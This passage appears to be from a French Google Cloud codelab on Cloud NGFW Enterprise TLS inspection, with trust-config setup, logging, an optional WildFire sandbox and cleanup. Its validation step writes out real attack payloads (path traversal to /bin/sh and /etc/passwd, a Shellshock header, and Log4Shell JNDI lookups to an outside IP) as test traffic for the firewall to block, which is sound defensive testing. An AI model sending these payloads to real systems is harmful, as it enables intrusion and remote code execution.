      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Importez la configuration de confiance :

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Mettez à jour le fichier YAML de la règle TLS pour inclure la configuration de confiance :

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Importez la règle TLS mise à jour :

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Valider l'inspection TLS est-ouest

Reconnectez-vous en SSH au client pour tester le trafic est-ouest avec la configuration de confiance mise à jour :

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Exécutez l'exemple de requête TLS sur le serveur :

curl https://$target_privateip --max-time 2

Si vous obtenez toujours le résultat ci-dessous, veuillez attendre que les mises à jour se propagent.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Résultat attendu :

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Envoyez du trafic de test malveillant au serveur :

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Résultat attendu :

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Aucune réponse n'est reçue, comme l'indique le résultat attendu ci-dessous, ce qui confirme que les exemples d'attaques sont désormais bloqués pour le trafic est-ouest.

13. Journalisation

Accédez à Logging > Explorateur de journaux dans la console Cloud, saisissez le filtre ci-dessous et interrogez les journaux. Remplacez [PROJECT_ID] par votre ID de projet :

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Les entrées de journal Cloud NGFW Enterprise doivent ressembler à ce qui suit :

5b68cc1063c0f4bd.png

Développez les entrées de journal et notez que les attaques envoyées de la VM cliente au serveur ont été identifiées et bloquées (Apache Log4j Remote Code Execution Vulnerability, comme illustré dans la capture d'écran ci-dessous).

478f18f8481e90ed.png

Vous avez déployé Cloud NGFW Enterprise avec l'inspection TLS pour bloquer les requêtes malveillantes.

Passez à la section suivante pour configurer et valider le bac à sable avancé pour les logiciels malveillants (WildFire) (facultatif), ou passez directement aux étapes de nettoyage.

14. [Facultatif] Configurer le bac à sable avancé pour les logiciels malveillants (WildFire)

Le bac à sable avancé pour les logiciels malveillants (WildFire) étend la prévention des menaces de Cloud NGFW Enterprise en inspectant les fichiers en transit et en envoyant les fichiers inconnus à un bac à sable dans le cloud (fourni par Advanced WildFire de Palo Alto Networks) pour une analyse comportementale approfondie.

Accepter le CLUF du bac à sable avancé pour les logiciels malveillants

Avant d'activer le bac à sable avancé pour les logiciels malveillants sur un point de terminaison de pare-feu, vous devez lire et accepter le contrat de licence utilisateur final (CLUF) unique sur votre projet de facturation ($billing_project). Le CLUF ne peut être accepté que dans la console Google Cloud : accédez à Sécurité du réseau > Points de terminaison de pare-feu, modifiez le point de terminaison $prefix-$zone, sélectionnez Activer le bac à sable avancé pour les logiciels malveillants (WildFire) sous Configuration avancée, puis cliquez sur Accepter et continuer.

Activer le bac à sable avancé pour les logiciels malveillants sur le point de terminaison du pare-feu

Activez le bac à sable avancé pour les logiciels malveillants sur le point de terminaison de pare-feu $prefix-$zone existant à l'aide de gcloud network-security firewall-endpoints update :

gcloud network-security firewall-endpoints update $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project \
  --enable-wildfire \
  --no-async

Vérifiez que le bac à sable avancé pour les logiciels malveillants est activé sur le point de terminaison du pare-feu :

gcloud network-security firewall-endpoints describe $prefix-$zone \
  --organization $org_id \
  --zone $zone

Résultat attendu (vérifiez wildfireSettings: enabled: true et state: ACTIVE) :

associatedNetworks:
- projects/$project_number/global/networks/$prefix-vpc
associations:
- name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association
  network: projects/$project_number/global/networks/$prefix-vpc
billingProjectId: $billing_project
createTime: '2023-11-16T04:27:17.677731831Z'
endpointSettings:
  contentCloudRegion: US_CENTRAL
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T05:15:12.104829104Z'
wildfireSettings:
  enabled: true
  wildfireRegion: UNITED_STATES

Créer et configurer le profil de sécurité WILDFIRE_ANALYSIS

Créez un profil de sécurité de bac à sable avancé pour les logiciels malveillants (WILDFIRE_ANALYSIS) nommé $prefix-sp-wildfire :

gcloud network-security security-profiles wildfire-analysis \
  create $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

Résultat attendu :

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.

Ensuite, ajoutez une règle d'envoi asynchrone pour envoyer les fichiers APK dans les deux sens (importation et téléchargement) (--direction=BOTH) :

gcloud network-security security-profiles wildfire-analysis \
  add-submission-rule $prefix-sp-wildfire \
  --organization $org_id \
  --location=global \
  --file-types=APK \
  --direction=BOTH

Résultat attendu :

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.

Inspectez le profil de sécurité WILDFIRE_ANALYSIS configuré :

gcloud network-security security-profiles wildfire-analysis \
  describe $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

Résultat attendu :

createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
  wildfireInlineMlSetting: {}
  wildfireSubmissionRules:
  - customFileTypes:
      fileTypes:
      - APK
    direction: BOTH
    fileSelectionMode: CUSTOM_FILE_TYPES

Mettre à jour le groupe de profils de sécurité ($prefix-spg)

Mettez à jour $prefix-spg pour associer $prefix-sp-wildfire :

gcloud network-security security-profile-groups update $prefix-spg \
  --organization $org_id \
  --location=global \
  --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire

Résultat attendu :

Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.

Comme la règle de stratégie de pare-feu 900 (EGRESS sur tcp:443 avec --action=apply_security_profile_group et --tls-inspect) fait déjà référence à $prefix-spg, les téléchargements de fichiers HTTPS chiffrés initiés depuis $prefix-$zone-client sont automatiquement déchiffrés par l'inspection TLS et évalués par le bac à sable avancé pour les logiciels malveillants, sans qu'il soit nécessaire de modifier la règle de stratégie de pare-feu.

15. [Facultatif] Valider l'envoi de fichiers et l'analyse du bac à sable avancé pour les logiciels malveillants

Tester l'envoi asynchrone au bac à sable et le filtrage par type de fichier

Connectez-vous à la VM cliente ($prefix-$zone-client) via Identity-Aware Proxy (IAP) :

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Depuis la VM cliente, téléchargez le fichier de test public APK de Palo Alto Networks via HTTPS :

curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15

Ensuite, téléchargez le fichier de test public ELF de Palo Alto Networks via HTTPS :

curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15

Étant donné que notre règle d'envoi dans $prefix-sp-wildfire ne cible que les fichiers APK (--file-types=APK), le pare-feu n'envoie pas le fichier ELF au bac à sable avancé pour les logiciels malveillants.

Quittez le terminal de la VM cliente et revenez à Cloud Shell.

Vérifier WildfireSubmissionLog dans Cloud Logging

Accédez à Logging > Explorateur de journaux dans la console Cloud, saisissez le filtre ci-dessous et interrogez les journaux. Remplacez [PROJECT_ID] par votre ID de projet :

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"

Une fois l'analyse du bac à sable terminée (généralement en quelques minutes), une entrée WildfireSubmissionLog s'affiche pour le téléchargement du fichier APK, tandis qu'aucun journal d'envoi n'est généré pour le téléchargement du fichier ELF (si aucune entrée de journal n'apparaît après plusieurs minutes, attendez la fin de la fenêtre de propagation du groupe de profils de sécurité de 15 minutes et relancez le téléchargement de curl). Développez l'entrée de journal et notez que sa charge utile JSON est semblable à la suivante :

{
  "insertId": "3xim62fg6n786",
  "jsonPayload": {
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
    "action": "ALLOW",
    "connection": {
      "clientIp": "10.0.0.2",
      "clientPort": 37142,
      "protocol": "tcp",
      "serverIp": "104.199.115.54",
      "serverPort": 443
    },
    "interceptInstance": {
      "projectId": "$project_id",
      "vm": "ngfw-enterprise-$zone-client"
    },
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "ngfw-enterprise-vpc"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "ngfw-enterprise-spg"
    },
    "wildfireDetails": {
      "detectionTime": "2026-10-16T20:29:44Z",
      "direction": "SERVER_TO_CLIENT",
      "file": "wildfire-test-apk-file.apk",
      "fileType": "APK",
      "hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "repeatCount": 1,
      "reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "severity": "[SEVERITY]",
      "subtype": "WILDFIRE",
      "verdict": "[VERDICT]"
    }
  },
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
  "receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
  "resource": {
    "labels": {
      "id": "ngfw-enterprise-$zone",
      "location": "$zone",
      "resource_container": "organizations/$org_id"
    },
    "type": "networksecurity.googleapis.com/FirewallEndpoint"
  },
  "timestamp": "2026-10-16T20:29:57.880438600Z"
}

Notez les champs clés dans wildfireDetails :

  • fileType: "APK" et subtype: "WILDFIRE" confirment l'analyse asynchrone du bac à sable du transfert APK.
  • file est le nom de fichier fourni par le serveur (wildfire-test-apk-file.apk), qui peut être différent du nom de fichier local utilisé avec curl -o.
  • hash identifie le condensé SHA-256 unique de l'échantillon de test.
  • verdict et severity sont déterminés par l'analyse du bac à sable.
  • reportUri et sampleUri fournissent des liens directs pour récupérer le rapport d'analyse dynamique et l'échantillon envoyé.

Afficher l'envoi et télécharger les artefacts d'analyse

Accédez à Sécurité réseau > Journaux NGFW Enterprise > Envois au bac à sable avancé pour les logiciels malveillants via la console Cloud, puis sélectionnez votre projet. Cliquez sur l'entrée wildfire-test-apk-file.apk pour afficher les détails de l'envoi, y compris le hachage SHA-256 du fichier, le verdict et le point de terminaison de pare-feu. Dans le menu Autres actions de l'envoi, vous pouvez sélectionner Télécharger le rapport d'analyse pour télécharger le rapport d'analyse dynamique au format PDF ou Télécharger l'échantillon de logiciel malveillant pour télécharger le fichier envoyé.

Vous pouvez également télécharger le rapport d'analyse et l'échantillon depuis Cloud Shell à l'aide des valeurs reportUri et sampleUri de l'entrée WildfireSubmissionLog :

export report_uri="<REPORT_URI_FROM_LOG>"
export sample_uri="<SAMPLE_URI_FROM_LOG>"

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$report_uri" -o wildfire-report.pdf

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$sample_uri" -o wildfire-sample.bin

16. Procédure de nettoyage

Nettoyage de la configuration de base

Supprimez les instances :

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Suivez les étapes ci-dessous si les rôles tagAdmin et tagUsers ont été modifiés :

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Supprimez la clé et les valeurs de tag :

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Supprimez la règle de réseau Cloud Firewall et l'association :

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Supprimez le routeur Cloud Router et Cloud NAT :

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Supprimez les adresses IP réservées :

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Nettoyage du groupe de règles de sécurité, de l'association et de TLS de Cloud Firewall

Supprimez le groupe de profils de sécurité et les profils de sécurité dans cet ordre (si vous avez terminé la section facultative "bac à sable avancé pour les logiciels malveillants", exécutez également la commande pour supprimer $prefix-sp-wildfire après la suppression de $prefix-spg) :

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles wildfire-analysis \
  delete $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Supprimez l'association de point de terminaison Cloud Firewall :

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Supprimez le point de terminaison Cloud Firewall, ce qui peut prendre environ 20 minutes :

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Vous pouvez également vérifier que le point de terminaison Cloud NGFW a été supprimé en exécutant la commande ci-dessous :

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

L'état du point de terminaison doit être le suivant :

STATE: DELETING

Une fois l'opération terminée, le point de terminaison n'est plus listé.

Supprimez la règle TLS et la configuration de confiance dans cet ordre :

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Désactivez et supprimez l'autorité de certification racine et le pool d'autorités de certification :

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Nettoyage du sous-réseau et du VPC

Enfin, supprimez le sous-réseau et le réseau VPC :

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

17. Félicitations !

Félicitations ! Vous avez terminé l'atelier de programmation "Cloud NGFW Enterprise pour l'inspection TLS est-ouest et nord".